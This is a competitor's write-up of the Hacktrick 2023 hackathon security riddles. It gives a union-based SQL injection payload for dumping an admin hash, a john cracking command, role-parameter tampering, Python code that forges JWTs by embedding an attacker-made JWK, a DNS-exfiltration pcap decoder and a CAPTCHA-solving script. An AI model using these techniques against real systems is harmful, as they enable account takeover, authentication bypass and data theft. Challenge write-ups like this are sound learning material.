Published on

Hacktrick 2023 security riddles solution

Authors
  • avatar
    Name
    Amr Zaki
    Twitter

Hacktrick

Phase 1

Task

This was the first phase in the hackathon, and the security question was a very basic union based SQLi. It was required to extract the admin hash from the data base, decrypt it, log in as admin and modify the rule from user to super admin or root with URL parameter tampering.

Overview

We were presented with a basic login function and a basic account to log in as, let's call it user after logging in as that user we get redirected to a search function that retrieves data from the database.

Exploitation

Knowing the vulnerability was a SQLi I instantly started testing and trying different union payloads to guess the number of columns the query returns.

The query returned 3 columns and the internal structure of the database tables was given in the question, there was a table called users which has username and hashed_password columns. So our final payload was something like this:

' union select username,password,null from users where username='admin'--+

Decrypting

We got the admin hash, now we try to get the hash type using hash-identifier tool on Linux, it said that it was mostly an MD5 hash. We will use john the ripper to crack that hash with the rockyou wordlist.

echo 'admin_hash' > hash.txt 
john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 hash.txt

We got the admin password, and it had the format of adminXX where XX are two numbers.

Privilege Escalation

Now we log in as admin and notice a function which can raise a user privilege from normal user to admin or super admin, so we try to escalate our user to root, and we notice the GET parameter called role and we set it to root.

http://admin_panel.com/?user=user&role=super+admin

Now we completed the challenge, so we fill the task files with our payload, admin pass and the tampered URL.

Phase 2

Luckily my team and I progressed to the second phase amongst 30 teams from all over Egypt. The challenge in this phase was combined of machine learning, back-end and security. we should implement a model that solves a 10x10 model, upon receiving the position from the API and whether there is a security riddle that needs solving and submit the solution through the API. There were 4 types of riddles, and the categories were:

  • Crypto
  • JWT Hijacking
  • Packet Sniffing
  • CAPTCHA Solving So, let's dive into the details.

Crypto Riddle

image

From the riddle description, we get Tom's encrypted secret, and we need to write a python function to decrypt it and return the plaintext secret. So working on the example, it is a base64 text and decoding it gives us somtheing like this:

echo 'KDEwMTAwMDExMTAxMDEwMTAwMTEwMDExMTAxMDAxMDAwMDExMTEwMDAwMTEwM
TAwMTAxMTAxMTAwMTAxMDEwMCwxMDAxKQ==' | base64 -d 
// Output
(101000111010101001100111010010000111100001101001011011001010100,1001)
The output as shown above is binary values separated with a comma. From first glance it looked like a string and key, so I went to CyberChef trying to translate the binary digits into the ascii characters and I got the following: image We get a strange looking character that is not from [a-zA-Z] like the riddle stated. So, I tried altering the byte length and 7 was the right length. image Now, that looks like a proper string! now it's time for the figure out how to use the key. The riddle description gave me a hint of the cipher used; it said a classical cipher so googling classical cipher, we get a list of character substitution ciphers, so I tried brute forcing the text I got using dcode.fr and I got the plaintext secret.
image

Notice that the key is 9 which is 1001 in binary which the second part of the decoded base64 text. Now it's time to write some python code to mimic the process I went through!

def cipher_riddle(question):
    # Getting the text and key form the provided base64 text
    decoded_bytes = base64.b64decode(question + "====")
    decoded_string = decoded_bytes.decode('utf-8')
    stripped_string = decoded_string.strip('()')
    cipher = stripped_string.split(',')[0]
    key = stripped_string.split(',')[1]
    key = int(key, 2)
    ascii_cipher = ""
    # Cutting the binary strings into 7 digit byte.
    for i in range(0, len(cipher), 7):
        char = cipher[i:i + 7]
        char = int(char, 2)
        ascii_cipher += chr(char)
    solution = ""
    # Shifting the character with the key with respect to the case. 
    for i in ascii_cipher:
        if i.isupper():
            solution += chr((ord(i) - key - 65) % 26 + 65)
        elif i.islower():
            solution += chr((ord(i) - key - 97) % 26 + 97)
        else:
            solution += i
    return solution

Server Riddle (JWT Hijacking)

In this challenge we are given a JWT token signed with a private key, and we should set the attribute called "admin" to true. Decoding the given example token on jwt.io we get the following: image Since there is a jwk in the token, we can alter the "admin" value, sign the JWT with our private key and putting our public key as the JWK, so the server verifies it with it. I could do that easily with the burpsuite extension JWT editor, but I needed to it manually with python, so let's do some researching and coding!

First, we need to create our own RSA private key, get the public key from it and I found a library to do just that as follows:

key = RSA.generate(2048)
public_key = key.publickey().export_key("PEM")
priv_key = key.export_key("PEM")
key = jwk.JWK.from_pem(priv_key) # Private key to sign the token with
public_key = key.export(private_key=False) # Our JWK 

Now we get the headers and payload form the given token and altering the "admin" and "jwk" values:

# getting the token original headers 
headers = question.split('.')[0]
headers = base64.b64decode(headers + "====")
headers = headers.decode('utf-8')
headers = json.loads(headers)
# getting the token original payload
payload = question.split('.')[1]
payload = base64.b64decode(payload + "====")
payload = payload.decode('utf-8')
payload = json.loads(payload)
# altering the token and adding our JWK
headers['kid'] = json.loads(public_key)['kid']
headers['jwk'] = json.loads(public_key)
payload['admin'] = 'true'
Token = jwt.JWT(header=headers, claims=payload)
# Signing the token 
Token.make_signed_token(key)

So, putting it all together, our function will be something like this:

from jwcrypto import jwt, jwk
from Crypto.PublicKey import RSA 
def server_riddle(question):
    # getting the token original headers 
    headers = question.split('.')[0]
    headers = base64.b64decode(headers + "===")
    headers = headers.decode('utf-8')
    headers = json.loads(headers)
    # getting the token original payload
    payload = question.split('.')[1]
    payload = base64.b64decode(payload + "===")
    payload = payload.decode('utf-8')
    payload = json.loads(payload)
    # creating our JWK
    key = RSA.generate(2048)
    public_key = key.publickey().export_key("PEM")
    priv_key = key.export_key("PEM")
    key = jwk.JWK.from_pem(priv_key)
    public_key = key.export(private_key=False)
    # altering the token and adding our JWK
    headers['kid'] = json.loads(public_key)['kid']
    headers['jwk'] = json.loads(public_key)
    payload['admin'] = 'true'
    Token = jwt.JWT(header=headers, claims=payload)
    # signing the token
    Token.make_signed_token(key)
    return Token.serialize()

Pcap Riddle

image

We get an example of the pcap file, so I opened it in wireshark to analyze it and I noticed the following.

  • The file included 100 packets.
  • 3 protocols were present. DNS, TCP, and ICMP.
So, I googled how can data get exfiltrated through those protocols and I found some interesting things, which were new to me. I found out that data can be exfiltrated using TCP' sequence number. I took some time looking through the TCP packets, but I got nothing. So, my next option was the DNS protocol. I found this article, stating that DNS data exfiltration is possible through bogus subdomains, and it matches our case! image Those google subdomains don't look legit right? so, I tried to decode it with CyberChef and voila.

The first subdomain is a number representing the position of the word and second subdomain is the word. Now it's time to code.

from scapy.all import *
from scapy.layers.dns import DNS, DNSQR, IP
def pcap_riddle(question):
    domains = []
    secret = {}
    solution = ""
    # Parsing encoded content to a pcap file
    encoded_pcap = question
    decoded_pcap = base64.b64decode(encoded_pcap)
    with open('pcap_file.pcap', 'wb') as pcap:
        pcap.write(bytearray(decoded_pcap))
    # Reading the dns packets 
    dns_packets = rdpcap('pcap_file.pcap')
    for packet in dns_packets:
        if packet.haslayer(DNS):
            dst = packet[IP].dst
            rec_type = packet[DNSQR].qtype
            # Checking for A records and the unokown dns server 
            if rec_type == 1 and dst == '188.68.45.12':
                record = packet[DNSQR].qname.decode('utf-8').strip('.')
                # Getting the unique domains 
                if record not in domains:
                    # Getting the position of the word  
                    pos = record.split('.')[0]
                    pos = base64.b64decode(pos + '====')
                    pos = pos.decode()
                    # Getting the encoded word 
                    data = record.split('.')[1]
                    data = base64.b64decode(data + '====')
                    data = data.decode()
                    # inserting the position and data in a dictionary. 
                    secret[int(pos)] = data
    # printin the secret
    for key in range(len(secret)):
        solution += secret[key + 1]
    return solution

Captcha Riddle

Last Riddle was the most easy and tricky at the same time. :smile: image I took some time to understand what a NumPy array even is, and how would I extract text from an image that is not my specialty :cry:. Luckily after some research I found a python library that solves Amazon Captchas exclusively -python can really do everything :D-. The example code is:
from amazoncaptcha import AmazonCaptcha
captcha = AmazonCaptcha('captcha.jpg')
solution = captcha.solve()

But wait, we get a NumPy array not a picture... so googling whether I can turn a NumPy array to an image and I found out it's possible. So, let's start coding our function.

from amazoncaptcha import AmazonCaptcha
from PIL import Image
def captcha_riddle(question):
    # converting the supplied string to a numpy array.
    np_array = np.array(question)
    # Converting the array to an image to pass it to the function. 
    pil_img = Image.fromarray(np_array)
    pil_img = pil_img.convert('RGB')
    pil_img.save('image.png', bitmap_format='png')
    captcha = AmazonCaptcha('image.png')
    # letting the library do its magic :"D 
    return captcha.solve()

Phew, that concludes the security part of the hackathon, if you made till the end of this write-up I salute you. It was a great experience for me, and I enjoyed solving these riddles.